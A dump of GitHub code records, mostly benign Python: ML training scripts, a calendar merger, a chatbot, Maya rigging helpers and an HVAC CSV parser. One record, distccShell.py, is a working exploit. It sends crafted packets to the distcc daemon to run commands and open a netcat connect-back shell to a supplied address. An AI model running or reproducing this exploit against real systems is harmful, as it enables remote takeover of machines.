import_lines = self.imports()\n\n class_lines = self.initilization_lines()\n class_lines.append('')\n class_lines += self.forward_lines()\n class_lines = ['\\t' + x for x in class_lines]\n class_lines = [f\"class {self.model_name}(torch.nn.Module):\"]+class_lines\n\n IN, OUT, WARNINGS = self.get_all_translated_props()\n constraints = {\n \"IN\":IN,\n \"OUT\":OUT\n }\n if WARNINGS:\n constraints[\"WARNINGS\"] = WARNINGS\n constraint_lines = [\"\",\"\\\"\\\"\\\"\" , \"BEGIN_PROPS\"]\n constraint_lines += [json.dumps(constraints\n ,indent = 15)]\n constraint_lines += [\"END_PROPS\", \"\\\"\\\"\\\"\"]\n\n\n lines = import_lines + constraint_lines + [''] + class_lines\n return lines, WARNINGS\n\n def merge_parameters(self):\n \"\"\"\n Merges the 'device' and 'dtype' parameters of all models.\n\n This method iterates over each model's parameters. It assigns the first 'device' and 'dtype' parameter it encounters \n as the representative for each category. It then merges subsequent 'device' and 'dtype' parameters with their \n respective representatives using the Subsets class's merge method.\n\n This results in all 'device' parameters referring to the same device, and all 'dtype' parameters referring \n to the same data type.\n \"\"\"\n rep_device, rep_dtype = None, None\n for model_id, model in self.models.items():\n for k, v in model[\"parameters\"].items():\n if 'device' in v:\n if rep_device == None:\n rep_device = self.models[model_id][\"parameters\"][k]\n else:\n self.subsets.merge(rep_device, self.models[model_id][\"parameters\"][k])\n if 'dtype' in v:\n if rep_dtype == None:\n rep_dtype = self.models[model_id][\"parameters\"][k]\n else:\n self.subsets.merge(rep_dtype, self.models[model_id][\"parameters\"][k])\n\n def get_all_parameters(self):\n \"\"\"\n Retrieves and sorts all unique parameters across all models.\n\n This method iterates over each parameter in the Subsets object data. It then obtains its equivalent global \n parameter using the Subsets class's __getitem__ method, resulting in a list of global parameters. \n \n This list is converted into a set to remove duplicates, and then it is converted back into a list. The list of \n unique global parameters is then sorted and assigned to the instance variable 'parameters'.\n \"\"\"\n self.parameters = list(set([self.subsets[d] for d in self.subsets.data]))\n self.parameters.sort()","repo_name":"bigmoostache/geneticNN","sub_path":"src/author.py","file_name":"author.py","file_ext":"py","file_size_in_byte":25237,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"73160580305","text":"import os \nimport numpy as np \nfrom glob import glob\nimport matplotlib.pyplot as plt\nimport logging\nimport daiquiri\n\ndaiquiri.setup(level=logging.DEBUG)\nlogger = daiquiri.getLogger(__name__)\n\ndef get_evaluate_results(file_list):\n title = file_list[0].split('/')[-3].upper()\n logger.debug(title)\n \n def extract_data(path):\n raw_data = np.loadtxt(path, delimiter=',')\n y_arr = raw_data[:, 1]\n x_arr = np.arange(1, y_arr.shape[0] + 1) * 10\n logger.debug(\"{}{}\".format(x_arr.shape, y_arr.shape))\n return (x_arr, y_arr)\n \n result_pairs = [extract_data(file_path) for file_path in file_list]\n return result_pairs, title\n\ndef plot_train_vs_test(src_dir):\n MNIST_CNN_TRAIN_PATH = glob(os.path.join(src_dir, 'cnn', 'mnist', '*/train_history*'))\n MNIST_CAP_TRAIN_PATH = glob(os.path.join(src_dir, 'cap', 'mnist', '*/train_history*'))\n MNIST_CNN_TEST_PATH = glob(os.path.join(src_dir, 'cnn', 'mnist', '*/test_history*'))\n MNIST_CAP_TEST_PATH = glob(os.path.join(src_dir, 'cap', 'mnist', '*/test_history*'))\n MNIST_FILE_LIST = MNIST_CNN_TRAIN_PATH + MNIST_CAP_TRAIN_PATH + MNIST_CNN_TEST_PATH + MNIST_CAP_TEST_PATH\n\n CIFAR10_CNN_TRAIN_PATH = glob(os.path.join(src_dir, 'cnn', 'cifar10', '*/train_history*'))\n CIFAR10_CAP_TRAIN_PATH = glob(os.path.join(src_dir, 'cap', 'cifar10', '*/train_history*'))\n CIFAR10_CNN_TEST_PATH = glob(os.path.join(src_dir, 'cnn', 'cifar10', '*/test_history*'))\n CIFAR10_CAP_TEST_PATH = glob(os.path.join(src_dir, 'cap', 'cifar10', '*/test_history*'))\n CIFAR10_FILE_LIST = CIFAR10_CNN_TRAIN_PATH + CIFAR10_CAP_TRAIN_PATH + CIFAR10_CNN_TEST_PATH + CIFAR10_CAP_TEST_PATH\n \n FILE_LISTS = [MNIST_FILE_LIST, CIFAR10_FILE_LIST]\n \n # Plot \n nrows, ncols = [1, 2]\n fig, axes = plt.subplots(ncols=ncols, nrows=nrows, figsize=(10, 4))\n axes = np.reshape(axes, (nrows, ncols))\n \n for r in range(nrows):\n for c in range(ncols):\n ax = axes[r, c]\n result_pairs, title = get_evaluate_results(FILE_LISTS[r*2 + c])\n legends = ['train (cnn)', 'train (caps)', 'test (cnn)', 'test (caps)']\n for idx, pair in enumerate(result_pairs):\n if idx < 2:\n ax.plot(pair[0], pair[1])\n else: \n ax.plot(pair[0], pair[1], '--')\n ax.legend(legends, loc='lower right')\n ax.set(xlabel='epoch', ylabel='accuracy', title=title)\n plt.tight_layout()\n # plt.show()\n fig.savefig('curve.png')\n\nif __name__ == '__main__':\n data_dir = '/Users/xu/Storage/vis'\n plot_train_vs_test(data_dir)","repo_name":"HAXRD/Capsule-Specific-Attacks","sub_path":"notebooks/capsule_specific_attacks/train_vs_test/plot_curves.py","file_name":"plot_curves.py","file_ext":"py","file_size_in_byte":2627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39016858683","text":"#!/bin/python3\n# Script which coerces a remote distcc (distributed compolier) to run\n# arbitrary bash commands. In this case it starts a connectback shell on\n# remote vulnerable machine\nimport socket\nfrom sys import argv\n\ndistccdPort \t\t\t= 3632\n\nif len(argv)<2:\n print(\"Usage: {0} [Target IP Address] [Connect Back Address]\\n\".format(argv[0]) +\n \"Default payload starts a connect back shell on port 4444\")\n quit()\n\ntargetAddress = argv[1]\n\n#This is the shell command to run on the remote machine. This payload creates a named pipe to connect a shell to netcat.\npayload=\"mknod /tmp/pipe p && sh 0&1 | nc {0} 4444 1>/tmp/pipe && rm /tmp/pipe\".format(argv[2])\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((targetAddress, distccdPort))\npacket=b\"DIST00000001\"\npacket+=b\"ARGC00000003\"\npacket+=b\"ARGV00000002sh\"\npacket+=b\"ARGV00000002-c\"\npacket+=bytes(\"ARGV{0:08X}{1}\".format(len(payload), payload), 'utf8')\npacket+=b\"DOTI00000008main(){}\\r\\n\"\ns.send(packet)\ns.close\n","repo_name":"formahult/Scripts-Scraps","sub_path":"distccShell.py","file_name":"distccShell.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42448300773","text":"from os import listdir\nfrom os.path import isfile, join\nimport sys\n\n# Parses the line 'seam10,n01824575,0.020001188'\n# return tuple with probability as a float\ndef parse( s ):\n tokens = s.split(',')\n if( len(tokens) != 3 ):\n print( 'Line not three tokens:' + str(s) )\n return tokens[0], tokens[1], float(tokens[2])\n\ndef main():\n filename = sys.argv[1]\n \n # Using readlines() \n experimentFile = open(filename, 'r') \n lines = experimentFile.readlines() \n \n count = 0\n # Maps scenario -> total\n # Simpler to just use list\n # 'resnet':0.0, 'seam05':0.0, 'seam10':0.0, 'seam15':0.0, 'seam20':0.0, 'seam25':0.0\n scenarios=['resnet', 'seam05', 'seam10', 'seam15', 'seam20', 'seam25']\n totals = [ 0.0, 0.0, 0.0, 0.0, 0.0, 0.0 ]\n # Strips the newline character \n for i in range( len(lines) ):\n lines[i] = lines[i].strip()\n\n # Now for each original file process each scenario\n for i in range( len(lines) ):\n line = lines[i]\n if line.endswith('.jpg'):\n count += 1\n # Each line has scenario, imageid, probability\n # 3179027643_3386823c9d.jpg\n # resnet,n01824575,0.35992524\n # seam05,n01824575,0.017757358\n # seam10,n01824575,0.020001188\n # seam15,n01824575,0.0031304078\n # seam20,n01824575,0.0023694967\n # seam25,n01824575,0.002718497\n\n resnet = parse(lines[i+1]) # original\n scenario = resnet[0]\n imageid = resnet[1]\n \n seam05 = parse(lines[i+2]) # 0.05\n seam10 = parse(lines[i+3]) # 0.10\n seam15 = parse(lines[i+4]) # 0.15\n seam20 = parse(lines[i+5]) # 0.20\n seam25 = parse(lines[i+6]) # 0.25 \n\n # Now add to running total\n totals[0] += resnet[2]\n totals[1] += seam05[2]\n totals[2] += seam10[2]\n totals[3] += seam15[2]\n totals[4] += seam20[2]\n totals[5] += seam25[2]\n \n # Now take average by dividing by the count\n # Print out\n print( 'Count = ' + str(count) )\n for i in range( len(totals) ):\n avg = totals[i] / count\n print( scenarios[i] + ' = ' + str(avg) )\n\n # Be nice and close the output file\n experimentFile.close()\n \nif __name__ == '__main__':\n main()\n","repo_name":"jpope8/seam-doppelganger","sub_path":"src-python/resnetTikz.py","file_name":"resnetTikz.py","file_ext":"py","file_size_in_byte":2426,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"39197037575","text":"import math\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras import layers\n\n\ndef get_model():\n SAMPLES = 1000\n np.random.seed(1337)\n x_values = np.random.uniform(low=0, high=2*math.pi, size=SAMPLES)\n # shuffle and add noise\n np.random.shuffle(x_values)\n y_values = np.sin(x_values)\n y_values += 0.1 * np.random.randn(*y_values.shape)\n\n # split into train, validation, test\n TRAIN_SPLIT = int(0.6 * SAMPLES)\n TEST_SPLIT = int(0.2 * SAMPLES + TRAIN_SPLIT)\n x_train, x_test, x_validate = np.split(x_values, [TRAIN_SPLIT, TEST_SPLIT])\n y_train, y_test, y_validate = np.split(y_values, [TRAIN_SPLIT, TEST_SPLIT])\n\n # create a NN with 2 layers of 16 neurons\n model = tf.keras.Sequential()\n model.add(layers.Dense(8, activation='relu', input_shape=(1,)))\n model.add(layers.Dense(16, activation='relu'))\n model.add(layers.Dense(1))\n model.compile(optimizer='rmsprop', loss='mse', metrics=['mae'])\n model.fit(x_train, y_train, epochs=100, batch_size=16,\n validation_data=(x_validate, y_validate))\n return model\n\n\nif __name__ == '__main__':\n model = get_model()\n\n # save to binary file\n with open('sine.bin', 'wb') as file:\n converter = tf.lite.TFLiteConverter.from_keras_model(model)\n tflite_model = converter.convert()\n file.write(tflite_model)\n\n # read back binary file\n with open('sine.bin', 'rb') as file:\n print(['%x' % byte for byte in file.read()])","repo_name":"eloquentarduino/EloquentTinyML","sub_path":"examples/SineFromSDExample/sine_model_to_file.py","file_name":"sine_model_to_file.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","stars":241,"dataset":"github-code","pt":"48"} +{"seq_id":"23235225945","text":"from vobject.base import Component\n\nfrom fifty_cal.diff import CalendarDiff\n\n\ndef merge(diff: CalendarDiff) -> Component:\n \"\"\"\n Take a diff and rebuild the calendar such that it is up to date.\n\n Out of sync calendars will be updated with new events and any conflicts resolved by\n taking the latest version of the event.\n \"\"\"\n\n if not diff.diff:\n diff.clean_calendars()\n diff.get_diff()\n\n calendar_1 = diff.cal1\n calendar_2 = diff.cal2\n updated_events = {}\n\n for event_diff in diff.diff:\n if None in event_diff:\n # `None` in event_diff implies no conflict - just that one calendar has an\n # event that the other doesn't.\n event = event_diff[0] or event_diff[1]\n uid = event.uid.value\n updated_events[uid] = event\n continue\n # `None` not in event_diff implies a conflict.\n uid = event_diff[0].uid.value\n\n # Get the version that was last modified more recently.\n event_1_last_modified = event_diff[0].contents[\"LAST-MODIFIED\"][0].value\n event_2_last_modified = event_diff[1].contents[\"LAST-MODIFIED\"][0].value\n\n if event_1_last_modified > event_2_last_modified:\n for event in calendar_1.contents[\"vevent\"]:\n if event.contents[\"uid\"][0].value == uid:\n updated_events[uid] = event\n break\n continue\n\n for event in calendar_2.contents[\"vevent\"]:\n if event.contents[\"uid\"][0].value == uid:\n updated_events[uid] = event\n break\n continue\n\n updated_cal = Component.duplicate(calendar_2)\n out_of_date_events = []\n\n for event in updated_cal.contents[\"vevent\"]:\n uid = event.uid.value\n if uid not in updated_events:\n continue\n event = updated_events[uid]\n out_of_date_events.append(event)\n\n for event in out_of_date_events:\n del event\n\n for uid, event in updated_events.items():\n updated_cal.add(event)\n\n return updated_cal\n","repo_name":"jamiemayer/fifty-cal","sub_path":"fifty_cal/merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4011600855","text":"import pandas as pd\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.preprocessing import scale\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.metrics import confusion_matrix,f1_score\r\nimport pickle\r\ndf=pd.read_csv('breast-cancer-wisconsin.txt')\r\n#print(df.head())\r\n#print(df.info())\r\n## checking null values\r\n#for i in df.columns:\r\n #print(f\"{i}:{df[i].isnull().sum()}\")\r\n#for i in df.columns:\r\n #for ii in df[i].values:\r\n #if(ii=='?'):\r\n # print(i)\r\n # break\r\n## handling the null values:\r\n#print(df['Bare Nuclei'].unique())\r\n##print(df['Bare Nuclei'].mode())\r\ndf['Bare Nuclei'].replace('?',df['Bare Nuclei'].mode().values[0],inplace=True)\r\n#print(df['Bare Nuclei'].unique())\r\nfor i in df['Bare Nuclei'].values:\r\n df['Bare Nuclei'].replace(i,int(i),inplace=True)\r\n#print(df['Bare Nuclei'].unique())\r\n#print(df.info())\r\n## DROP THE UNIQUE COLUMN\r\ndf.drop(['id'],axis=1,inplace=True)\r\n## DIFFERENTIATE THE FEATURES AND LABELS\r\nx=df.drop(['Class'],axis=1)\r\ny=df['Class']\r\n## TRAIN_TEST_SPLIT\r\n#X_train,X_test,Y_train,Y_test=train_test_split(x,y,test_size=0.2,random_state=42)\r\n### converting the 2 to 0 and 4 to 1\r\nd={\r\n 2:0,\r\n 4:1\r\n }\r\ny.replace(d,inplace=True)\r\n## SCALING THE FEATURRES\r\n#x=scale(x)\r\n\r\n## SELECT A MODEL\r\nclf=RandomForestClassifier()\r\nclf.fit(x,y)\r\n#print(clf.score(x,y))\r\n\r\npickle.dump(clf,open('cancer.pkl','wb'))\r\n\r\nclf=pickle.load(open('cancer.pkl','rb'))\r\n#s=scale()\r\nprint(clf.predict([[5,1,1,1,2,1,3,1,1]]))\r\n","repo_name":"pritamBikram/BREAST_CANCER","sub_path":"cancer.py","file_name":"cancer.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6686343109","text":"from typing import Callable, Dict, List, Optional, Union\nimport json\nfrom difflib import get_close_matches\nfrom chatbot_settings import ChatBotSettings\nfrom bot_abstract_class import BotAbstract\nimport os\n# knowledge_base_service.py\nclass BotKnowledgeBase(BotAbstract):\n def __init__(self, chatBotSettings: ChatBotSettings()):\n self.knowledge_base_file = ChatBotSettings().KNOWLEDGE_BASE_FILE()\n \n self.knowledge_base = self._load_knowledge_base(self.knowledge_base_file)\n \n def _load_knowledge_base(self, file_name: str) -> List[Dict[str, str]]:\n try:\n with open(file_name, \"r\") as f:\n return json.load(f)\n except FileNotFoundError:\n return []\n\n def _save_knowledge_base(self, file_name: str, knowledge_base: List[Dict[str, str]]) -> None:\n with open(file_name, \"w\") as f:\n json.dump(knowledge_base, f, indent=2)\n\n def _ask_question(self, knowledge_base: List[Dict[str, str]], question: str, max_matches: int = 1) -> str:\n questions = [item[\"question\"] for item in self.knowledge_base]\n close_matches = get_close_matches(\n question, questions, n=max_matches, cutoff=0.6)\n if close_matches:\n matched_question = close_matches[0]\n for item in knowledge_base:\n if item[\"question\"] == matched_question:\n return item[\"answer\"]\n else:\n return \"I don't know the answer to that question. Please provide the answer.\"\n\n def _learn_answer(self, knowledge_base: List[Dict[str, str]], question: str, answer: str) -> None:\n self.knowledge_base.append({\"question\": question, \"answer\": answer})\n\n # can only be used with chatbot_client\n def get_bot_response(self, message) -> None:\n question = input(\"Ask me a question or type stop: \")\n \n answer = self._ask_question(self.knowledge_base, message)\n if answer.startswith(\"I don't know\"):\n print(answer)\n new_answer = input(\"Answer: \")\n self._learn_answer(self.knowledge_base, message, new_answer)\n self._save_knowledge_base(self.knowledge_base_file, self.knowledge_base)\n else:\n print(\"Answer:\", answer)","repo_name":"ggrow3/ExtensibleChatBot","sub_path":"bot_knowledge_base.py","file_name":"bot_knowledge_base.py","file_ext":"py","file_size_in_byte":2284,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"36728322349","text":"# orient.py\n# Created: Monday, 28th February 2022 9:44:43 pm\n# Matthew Riche\n# Last Modified: Monday, 28th February 2022 9:48:03 pm\n# Modified By: Matthew Riche\n\nfrom locale import normalize\nimport pymel.core as pm\nimport pymel.core.datatypes as dt\n\n\ndef create_null(subject):\n '''\n Create an empty trans node, and match transform to a target,\n Then place the target beneath it.\n '''\n\n null_trans = pm.createNode('transform', n=(subject.name() + '_null'))\n pm.matchTransform(null_trans, subject)\n\n pm.parent(subject, null_trans)\n\n return null_trans\n\n\ndef get_vector(subject, target, normal=True):\n '''\n Get the vector between two objects\n '''\n\n subject_pos = subject.getTranslation(space='world')\n target_pos = target.getTranslation(space='world')\n\n aim_vector = (target_pos - subject_pos)\n if(normal):\n aim_vector.normalize()\n\n return aim_vector\n\n\ndef project_pv(base_joint, amplify=1.0):\n '''\n Given one base joint of a limb, project where the pole-vector should exist.\n '''\n \n hinge_joint = pm.listRelatives(base_joint, c=True)[0]\n end_joint = pm.listRelatives(hinge_joint, c=True)[0]\n\n hinge_pos = hinge_joint.getTranslation(space='world')\n\n upper_vec = get_vector(base_joint, hinge_joint)\n fore_vec = get_vector(end_joint, hinge_joint)\n\n upper_vec *= amplify\n fore_vec *= amplify\n\n return (hinge_pos + (fore_vec + upper_vec))\n\n\ndef aim_at(subject, target, up_vector=(0.0, 0.0, 1.0), up_object=None, aim_axis=0, up_axis=2):\n '''\n Aims the subject node down the target node, and twists it to the provided up-vector.\n Axis involved are specificially defined as 0-2, for x-z.\n \n usage:\n aim_at(PyNode, PyNode, up_vector=(float, float, float), aim_axis=int, up_axis=int)\n '''\n\n fix_determinant = False # A flag to fix negative determinants\n\n subject_position = subject.getTranslation(space='world')\n target_position = target.getTranslation(space='world')\n\n aim_vector = get_vector(subject, target)\n\n if(up_object is None):\n up_vector_scoped = dt.Vector(up_vector) # named to separate it from the arg.\n up_vector_scoped.normalize()\n else:\n up_vector_scoped = get_vector(subject, up_object)\n\n last_vector = up_vector_scoped.cross(aim_vector)\n last_vector.normalize()\n\n # Some combination of chosen axis will create a negative determinent. This gets reconciled by\n # the scale becoming negative.\n flip_combos = [(0,1), (1,2), (2,0)]\n if((aim_axis, up_axis) in flip_combos):\n fix_determinant = True # With this flag, we know to re-calc the last_axis.\n\n up_vector_scoped = aim_vector.cross(last_vector)\n up_vector_scoped.normalize()\n\n # Now the three vectors are ready, their position inside the matrix has to get chosen.\n axes = ['x', 'y', 'z']\n\n if(fix_determinant):\n # By re-discovering the cross product at this point, we \"reverse\" it (not negate it!) which\n # will prevent a negative scale in certain arrangements of the matrix (half of the total \n # possible configurations have this problem.)\n last_vector = aim_vector.cross(up_vector_scoped)\n last_vector.normalize()\n \n if(aim_axis == 0):\n x_row = list(aim_vector)\n axes.remove('x')\n elif(aim_axis == 1):\n y_row = list(aim_vector)\n axes.remove('y')\n elif(aim_axis == 2):\n z_row = list(aim_vector)\n axes.remove('z')\n else:\n pm.error(\"Bad axis int given for aim_axis: {}; should be 0,1,2 for x,y,z.\".format(aim_axis))\n\n if(up_axis == 0):\n x_row = list(up_vector_scoped)\n axes.remove('x')\n elif(up_axis == 1):\n y_row = list(up_vector_scoped)\n axes.remove('y')\n elif(up_axis == 2):\n z_row = list(up_vector_scoped)\n axes.remove('z')\n else:\n pm.error(\"Bad axis int given for up_axis: {}; should be 0,1,2 for x,y,z.\".format(up_axis))\n\n if(axes[0] == 'x'):\n x_row = list(last_vector)\n elif(axes[0] == 'y'):\n y_row = list(last_vector)\n elif(axes[0] == 'z'):\n z_row = list(last_vector)\n else:\n pm.error(\"Failed to determine last vector. This is a bug.\")\n\n # Append fourth values to the matrix' right side.\n for row in [x_row, y_row, z_row]:\n row.append(0.0)\n\n # Create the bottom row of the matrix using the transform of the subject, plus a final 1.0\n trans_row = list(subject_position)\n trans_row.append(1.0)\n\n new_matrix = dt.Matrix(x_row, y_row, z_row, trans_row)\n subject.setMatrix(new_matrix, worldSpace=True)\n\n return","repo_name":"retsyn/rigorist","sub_path":"orient.py","file_name":"orient.py","file_ext":"py","file_size_in_byte":4594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40116514542","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# Python code to read a bunch of .txt annotations (YOLO) and replace a specific class no with another class number \n\nfrom glob import glob\nfrom tqdm import tqdm\n\ntexts = glob('path_to_annotations\\\\'+'*.txt')\nprint(len(texts))\n\nfor _ in tqdm(texts):\n annots = \"\"\"\"\"\"\n with open(_) as t:\n annotations = t.readlines()\n for cords in annotations:\n annots+= '0 '+cords.split(' ')[1]+' '+cords.split(' ')[2]+' '+cords.split(' ')[3]+' '+cords.split(' ')[4]\n with open(_,'w+') as w:\n w.write(annots)","repo_name":"jithin8mathew/soybean_pod_count_Depth_segmentation_project","sub_path":"rename_YOLO_class.py","file_name":"rename_YOLO_class.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32402624816","text":"#!/usr/env python\n\n# This python script is meant to process full Trane TRACE System Component Selection files in CSV format.\n# When this module is run it asks the operator for an input file through\n# a typical directory GUI. The module also asks for an output file name\n# through a typical save-as GUI. See \"Set up CSV reader\" to set the column numbers\n# for the data of interest. Script returns Room Numbers and data of interest\n# in CSV format. See def main() to enable/disable output of data.\n\nimport sys\nimport csv\nimport re\n\nfrom Tkinter import Tk\nfrom tkFileDialog import askopenfilename\nfrom tkFileDialog import asksaveasfilename\n\nTk().withdraw() # we don't want a full GUI, so keep the root window from appearing\n\n# Set up input variable for the script\nfilenameIn = askopenfilename(initialdir='\\\\ripcord-nas0.ripcord\\\\Ripcord_Engineering\\\\projects')\ninput = filenameIn\n\n# Set up output variable for the script\nfilenameOut = asksaveasfilename(defaultextension='.csv', filetypes=[(\"csv\",\"*.csv\")], initialdir='\\\\ripcord-nas0.ripcord\\\\Ripcord_Engineering\\\\projects')\noutput = filenameOut\n\n# Example syntax for network file system appears below:\n# output = r\"\\\\ripcord-nas0.ripcord\\\\Ripcord_Engineering\\\\Projects\\\\2018\\\\18-002 Falmouth Memorial Library\\\\11_BIM\\\\Design_Process\\\\_Energy\\\\gbxml\\\\OutdoorAirflow.csv\"\n\n# Set up CSV reader\nspaceColumn = 1 # Column number for spaces\n# Cooling coil\nclColumn = 1 # Column number for cooling coil tags\nclTotColumn = 8 # Column number for total cooling capacity data\nclSenColumn = 12 # Column number for sensible cooling capacity data\nclEDBColumn = 19 # Column number for cooling EDB data\nclEWBColumn = 21 # Column number for cooling EWB data\nclEHRColumn = 25 # Column number for cooling HR data\nclLDBColumn = 28 # Column number for cooling EDB data\nclLWBColumn = 29 # Column number for cooling EWB data\nclLHRColumn = 33 # Column number for cooling HR data\n# Heating coil\nhtColumn = 51 # Column number for heating coil tags\nhtTotColumn = 54 # Column number for total heating capacity data\nhtEDBColumn = 63 # Column number for heating EDB data\nhtLDBColumn = 66 # Column number for heating LDB data\n# Airflow\nairflowTagColumn = 55 # Column number for airflow tags\nairflowDataColumn = 58 # Column number for airflow data\n\n# Set up data arrays\nspaces = []\n# Airflows\ndiffuser = []\nnomVent = []\nahuVent = []\ninfil = []\nretn = []\nexhaust = []\nrmExh = []\n# Cooling coil\nmainClTot = []\nmainClSen = []\nmainClEDB = []\nmainClEWB = []\nmainClEHR = []\nmainClLDB = []\nmainClLWB = []\nmainClLHR = []\nauxClTot = []\nauxClSen = []\nauxClEDB = []\nauxClEWB = []\nauxClEHR = []\nauxClLDB = []\nauxClLWB = []\nauxClLHR = []\n# Heating coil\nmainHtCap = []\nmainHtEDB = []\nmainHtLDB = []\nauxHtCap = []\nauxHtEDB = []\nauxHtLDB = []\n# Results\nresults = []\n\n# Read in data file\ncsvFileObj = open(input)\nreaderObj = csv.reader(csvFileObj)\nsep = ' ' # Text separator to split column data on\n\n# Start of fuction modules\ndef spaceNumbers():\n csvFileObj.seek(0) # This instruction resets the pointer from EOF (End Of File) to BOF for the next loop-based code block.\n for row in readerObj:\n if re.search('\\d+', row[spaceColumn]):\n rest = row[spaceColumn].split(sep, 1)[0] # Removes space name from the column data for future processing with Dynamo script.\n spaces.append(rest)\n spacesOut = list(spaces) # Makes a copy of list of interest.\n spacesOut.insert(0,'Space') # Inserts data in front of the first list entry.\n results.append(spacesOut)\n## print spacesOut\n \ndef diffuserData():\n csvFileObj.seek(0)\n for row in readerObj:\n if row[airflowTagColumn] == 'Diffuser':\n diffuser.append(row[airflowDataColumn].replace(',',''))\n diffuserOut = list(diffuser)\n diffuserOut.insert(0,'Diffuser')\n results.append(diffuserOut) \n## print diffuserOut \n\ndef nomVentData():\n csvFileObj.seek(0)\n for row in readerObj:\n if row[airflowTagColumn] == 'Nom Vent':\n nomVent.append(row[airflowDataColumn].replace(',',''))\n nomVentOut = list(nomVent)\n nomVentOut.insert(0,'Nom Vent')\n results.append(nomVentOut) \n## print nomVentOut\n\ndef ahuVentData():\n csvFileObj.seek(0)\n for row in readerObj:\n if row[airflowTagColumn] == 'AHU Vent':\n ahuVent.append(row[airflowDataColumn].replace(',',''))\n ahuVentOut = list(ahuVent)\n ahuVentOut.insert(0,'AHU Vent')\n results.append(ahuVentOut) \n## print ahuVentOut\n\ndef infilData():\n csvFileObj.seek(0)\n for row in readerObj:\n if row[airflowTagColumn] == 'Infil':\n infil.append(row[airflowDataColumn].replace(',',''))\n infilOut = list(infil)\n infilOut.insert(0,'Infil')\n results.append(infilOut) \n## print infilOut\n\ndef retnData():\n csvFileObj.seek(0)\n for row in readerObj:\n if row[airflowTagColumn] == 'AIRFLOWS':\n for row in readerObj:\n if row[airflowTagColumn] == 'Return':\n retn.append(row[airflowDataColumn].replace(',',''))\n break\n retnOut = list(retn)\n retnOut.insert(0,'Return')\n results.append(retnOut) \n## print retnOut \n\ndef exhaustData():\n csvFileObj.seek(0)\n for row in readerObj:\n if row[airflowTagColumn] == 'Exhaust':\n exhaust.append(row[airflowDataColumn].replace(',',''))\n exhaustOut = list(exhaust)\n exhaustOut.insert(0,'Exhaust')\n results.append(exhaustOut) \n## print exhaustOut\n\ndef rmExhData():\n csvFileObj.seek(0)\n for row in readerObj:\n if row[airflowTagColumn] == 'Rm Exh':\n rmExh.append(row[airflowDataColumn].replace(',',''))\n rmExhOut = list(rmExh)\n rmExhOut.insert(0,'Rm Exh')\n results.append(rmExhOut) \n## print rmExhOut\n\ndef mainClData():\n csvFileObj.seek(0)\n for row in readerObj:\n if row[clColumn] == 'Main Clg':\n mainClTot.append(row[clTotColumn].replace(',',''))\n mainClSen.append(row[clSenColumn].replace(',',''))\n mainClEDB.append(row[clEDBColumn].replace(',',''))\n mainClEWB.append(row[clEWBColumn].replace(',',''))\n mainClEHR.append(row[clEHRColumn].replace(',',''))\n mainClLDB.append(row[clLDBColumn].replace(',',''))\n mainClLWB.append(row[clLWBColumn].replace(',',''))\n mainClLHR.append(row[clLHRColumn].replace(',',''))\n mainClTotOut = list(mainClTot)\n mainClTotOut.insert(0,'Total Cap. Main Clg')\n mainClSenOut = list(mainClSen)\n mainClSenOut.insert(0,'Sensible Cap. Main Clg')\n mainClEDBOut = list(mainClEDB)\n mainClEDBOut.insert(0,'EDB Main Clg')\n mainClEWBOut = list(mainClEWB)\n mainClEWBOut.insert(0,'EWB Main Clg')\n mainClEHROut = list(mainClEHR)\n mainClEHROut.insert(0,'EHR Main Clg')\n mainClLDBOut = list(mainClLDB)\n mainClLDBOut.insert(0,'LDB Main Clg')\n mainClLWBOut = list(mainClLWB)\n mainClLWBOut.insert(0,'LWB Main Clg')\n mainClLHROut = list(mainClLHR)\n mainClLHROut.insert(0,'LHR Main Clg') \n results.append(mainClTotOut)\n results.append(mainClSenOut)\n results.append(mainClEDBOut)\n results.append(mainClEWBOut)\n results.append(mainClEHROut)\n results.append(mainClLDBOut)\n results.append(mainClLWBOut)\n results.append(mainClLHROut)\n## print mainClTotOut\n## print mainClSenOut\n## print mainClEDBOut\n## print mainClEWBOut \n## print mainClEHROut\n## print mainClLDBOut\n## print mainClLWBOut\n## print mainClLHROut\n\ndef auxClData():\n csvFileObj.seek(0)\n for row in readerObj:\n if row[clColumn] == 'Aux Clg':\n auxClTot.append(row[clTotColumn].replace(',',''))\n auxClSen.append(row[clSenColumn].replace(',',''))\n auxClEDB.append(row[clEDBColumn].replace(',',''))\n auxClEWB.append(row[clEWBColumn].replace(',',''))\n auxClEHR.append(row[clEHRColumn].replace(',',''))\n auxClLDB.append(row[clLDBColumn].replace(',',''))\n auxClLWB.append(row[clLWBColumn].replace(',',''))\n auxClLHR.append(row[clLHRColumn].replace(',',''))\n auxClTotOut = list(auxClTot)\n auxClTotOut.insert(0,'Total Cap. Aux Clg')\n auxClSenOut = list(auxClSen)\n auxClSenOut.insert(0,'Sensible Cap. Aux Clg')\n auxClEDBOut = list(auxClEDB)\n auxClEDBOut.insert(0,'EDB Aux Clg')\n auxClEWBOut = list(auxClEWB)\n auxClEWBOut.insert(0,'EWB Aux Clg')\n auxClEHROut = list(auxClEHR)\n auxClEHROut.insert(0,'EHR Aux Clg')\n auxClLDBOut = list(auxClLDB)\n 